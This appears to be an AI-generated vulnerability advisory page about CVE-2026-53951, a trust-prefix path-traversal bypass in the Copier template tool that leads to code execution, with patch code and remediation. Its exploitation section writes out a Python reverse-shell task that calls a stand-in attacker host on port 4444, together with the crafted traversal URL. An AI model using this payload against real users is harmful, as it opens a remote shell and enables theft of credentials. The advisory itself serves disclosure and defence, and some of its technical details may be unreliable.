CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-53951

CVE-2026-53951: Trust-Prefix Bypass via Path Traversal leading to Remote Code Execution in Copier

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 20, 2026·6 min read·18 visits

Executive Summary (TL;DR)

Copier's template trust validation fails to normalize repository paths prior to evaluating prefix trust lists, permitting attackers to bypass safety verification prompts and execute arbitrary lifecycle tasks through path traversal payloads.

A security vulnerability in Copier versions 9.5.0 through 9.15.1 allows unauthenticated remote code execution via crafted HTTP requests or local paths containing traversal sequences. The trust-evaluation mechanism compares target repository paths or URLs against trusted prefixes using unnormalized string comparison, while the subsequent fetching mechanism normalizes the path before cloning. Attackers can exploit this asymmetry to bypass security warning prompts and execute arbitrary commands under the local user context.

Vulnerability Overview

Copier is a Python-based library and Command-Line Interface (CLI) application designed for rendering project templates. It supports automated lifecycle hooks, such as executing post-generation tasks, running migrations, and running custom Jinja extensions. To protect users from running untrusted scripts, Copier prompts for confirmation before executing these potentially hazardous functions. Users can suppress these prompts by configuring a list of trusted paths or repository URL prefixes.

In Copier versions 9.5.0 through 9.15.1, the trust-verification mechanism contains a logical defect. The application determines trust by checking if the user-supplied template path starts with a trusted prefix using a simple string comparison. However, when the template is actually fetched, the download engine performs path normalization to resolve relative path segments. This discrepancy in how the path is handled at different stages of the application lifecycle introduces a significant security boundary bypass.

An attacker can construct a malicious template URL that matches a trusted prefix textually but resolves to an attacker-controlled repository through directory traversal sequences. By distributing this crafted URL, the attacker bypasses the trust prompt, leading to silent command execution on the victim's local machine with the privileges of the running shell process.

Root Cause Analysis

The underlying security flaw stems from an validation-versus-execution asymmetry. The prefix verification logic is implemented in copier/_settings.py via raw, unnormalized string prefix checks. The system iterates over the defined trusted prefixes and evaluates whether the input path starts with any of them. The validation code behaves as follows:

$$\text{Validation Phase (Raw String Evaluation)} \neq \text{Fetching Phase (Canonical Normalization)}$$

During the verification phase, an input URL such as https://github.com/trusted-org/../attacker-org/malicious-repo.git matches the prefix https://github.com/trusted-org/ because the evaluation uses simple prefix checking without resolving the path. Consequently, the application marks the source repository as safe, bypassing the user-approval process.

When the application retrieves the template, the fetch component normalizes the path. For local paths, the resolution is performed via pathlib.Path.resolve(), which resolves symbolic links and collapses relative segments. For remote URLs, the underlying fetch wrapper rumdl processes the remote target, removing dot-segments in accordance with RFC 3986 section 5.2.4. This results in the client fetching from https://github.com/attacker-org/malicious-repo.git instead of the trusted repository.

This workflow demonstrates that the sanitization process is deferred until after the access control decision has been made, presenting a classic path traversal bypass (CWE-22) that results in downstream code execution (CWE-94).

Code Analysis

To resolve the path traversal flaw, the underlying transport library rumdl was upgraded from version 0.1.91 to 0.2.5 to enforce strict URL validation and path-segment resolution prior to string verification.

Additionally, multiple adjacent code-level issues were resolved in Copier version 9.15.2 to secure the application. In copier/_tools.py, a parsing flaw in the boolean-casting routine allowed whitespace-only strings to evaluate as truthy, which triggered automated tasks incorrectly. The patch forces string trimming and evaluates blank strings as falsy:

# File: copier/_tools.py
# Before the patch, any non-empty string was evaluated as True.
# After the patch, whitespace is removed and empty strings resolve to False.
 
def cast_to_bool(value: Any) -> bool:
    if isinstance(value, bool):
        return value
    with suppress(AttributeError):
        lower = value.strip().lower()  # Added .strip() to remove leading/trailing whitespace
        if not lower:                  # Explicitly check for empty strings
            return False
        if lower in {"y", "yes", "t", "true", "on"}:
            return True
    return False

The application also updated the way template answers are parsed in copier/_main.py. The updated code restricts how answers paths are resolved, preventing template files located inside subdirectories from writing to unverified paths on the filesystem:

# File: copier/_main.py
# Hardens answers file handling to prevent directory traversal
 
def _render_parts(self, extra_context):
    # ... configuration and rendering logic
    for value in ctx.yield_iterable or ():
        new_context = {**extra_context, yield_name: value}
        rendered_part = self._render_string(part, extra_context=new_context)
        # Ensures only matching relative answer paths are written
        if str(self.answers_relpath) == rendered_part:
            yield self.answers_relpath, new_context
            continue

These modifications collectively block directory traversal vectors, ensuring that both local configurations and remote fetches are evaluated consistently.

Exploitation Methodology

An attack scenario requires that the target user has configured a trusted prefix directory or repository pattern in their Copier configurations. This configuration is stored in the user settings file:

# ~/.config/copier/settings.yaml
trusted_prefixes:
  - "https://github.com/trusted-organization/"

An attacker creates a repository named malicious-template on an external organization profile. The repository contains a configuration file copier.yml configured to trigger tasks upon completion:

# copier.yml inside the malicious template
_tasks:
  - command: python3 -c "import os, socket, subprocess; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(('attacker-controlled-host', 4444)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); p=subprocess.call(['/bin/sh', '-i'])"

The attacker induces the victim to run the template generation command with a crafted URL containing traversal components:

copier copy "https://github.com/trusted-organization/../attacker-organization/malicious-template.git" ./destination

During execution, the prefix evaluation module checks if the string starts with https://github.com/trusted-organization/. Since the condition is satisfied, the application bypasses the interactive security prompt. The fetching module then resolves the dot-segments and retrieves the malicious template, which immediately runs the reverse shell payload with the privileges of the active local user.

Impact Assessment

This vulnerability is classified as High severity, with a CVSS v4.0 score of 8.8. The score reflects high confidentiality, integrity, and availability impacts on both the local environment and downstream systems due to full command execution.

The primary vector is local execution through a remote-fetched template. Although exploitation requires the victim to run the command, the absence of any warning prompt represents a significant security failure in trusted environments.

The attack enables full shell control. If the user running the command has administrative or access permissions to cloud providers, source control management APIs, or production databases, the attacker can leverage the compromised environment to access credentials, exfiltrate private codebases, or compromise continuous integration and deployment pipelines.

Remediation and Mitigation

The primary remediation strategy is upgrading Copier to version 9.15.2 or later. This upgrade addresses the directory traversal vulnerability within the dependency framework and enforces correct path validation.

In environments where upgrading is not immediately possible, security teams can implement operational workarounds to eliminate the attack vector. Users should remove or disable the trusted_prefixes entry inside their global settings file, which forces Copier to prompt for authorization on every execution:

# ~/.config/copier/settings.yaml
# Disable trusted prefixes to enforce user prompts for all tasks
trusted_prefixes: []

Additionally, automated infrastructure workflows should avoid running Copier with configuration-based trust assumptions. Templates should be explicitly pinned to specific cryptographic commit hashes within controlled, private container registries.

Technical Appendix

CVSS Score
8.8/ 10
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
EPSS Probability
0.19%
Top 91% most exploited

Affected Systems

Copier Library and CLI Application

Affected Versions Detail

Product
Affected Versions
Fixed Version
Copier
copier-org
>= 9.5.0, <= 9.15.19.15.2
AttributeDetail
CWE IDCWE-22, CWE-94
Attack VectorLocal / Remote Fetching
CVSS Base Score8.8 (High)
Exploit Statuspoc
KEV StatusNot Listed
Affected Versions>= 9.5.0, <= 9.15.1

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploit Public-Facing Application
Initial Access
CWE-22
Improper Limitation of a Pathname to a Restricted Directory

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Vulnerability Timeline

Copier v9.15.2 released
2026-06-12
GitHub Security Advisory (GHSA-9gmc-jqmh-3rvm) published
2026-07-08
NVD Database record updated
2026-07-10

References & Sources

  • [1]Official GitHub Release (v9.15.2)
  • [2]GitHub Security Advisory (GHSA-9gmc-jqmh-3rvm)
  • [3]National Vulnerability Database (NVD) Record
  • [4]CVE.org Record
  • [5]Core Commit (v9.15.1 -> v9.15.2 Release)
  • [6]Subsequent dependency update (rumdl 0.2.5)

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 minutes ago•CVE-2026-109619
9.2

CVE-2026-109619: Remote Code Execution in PHP Core via Stale Global State Memory Corruption (PHP2Shell)

CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.

Alon Barad
Alon Barad
1 views•6 min read
•5 minutes ago•CVE-2026-113721
4.5

CVE-2026-113721: Unsafe Link Resolution in virtualenv File Generation

In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.

Amit Schendel
Amit Schendel
1 views•5 min read
•9 days ago•CVE-2026-87697
8.8

CVE-2026-87697: Untrusted Deserialization in .NET PresentationCore Clipboard Handling

A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.

Alon Barad
Alon Barad
31 views•5 min read
•9 days ago•CVE-2026-70007
8.8

CVE-2026-70007: Out-of-Bounds Write Vulnerability in .NET Framework and WPF Subsystem

An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.

Amit Schendel
Amit Schendel
19 views•6 min read
•10 days ago•CVE-2026-70186
7.5

CVE-2026-70186: ASP.NET Core Denial of Service Vulnerability via Framework Deadlock

ASP.NET Core contains a thread deadlock vulnerability (CWE-833) that allows an unauthenticated remote attacker to cause a denial of service over the network by exhausting server thread pool resources.

Amit Schendel
Amit Schendel
18 views•5 min read
•10 days ago•CVE-2026-70035
8.8

CVE-2026-70035: Insecure Deserialization Remote Code Execution in Microsoft .NET Framework and .NET Runtime

CVE-2026-70035 is a high-severity Remote Code Execution (RCE) vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio caused by improper handling during the deserialization of untrusted data (CWE-502). An unauthenticated attacker can execute arbitrary code within the context of the affected process by delivering a crafted serialized payload.

Amit Schendel
Amit Schendel
24 views•6 min read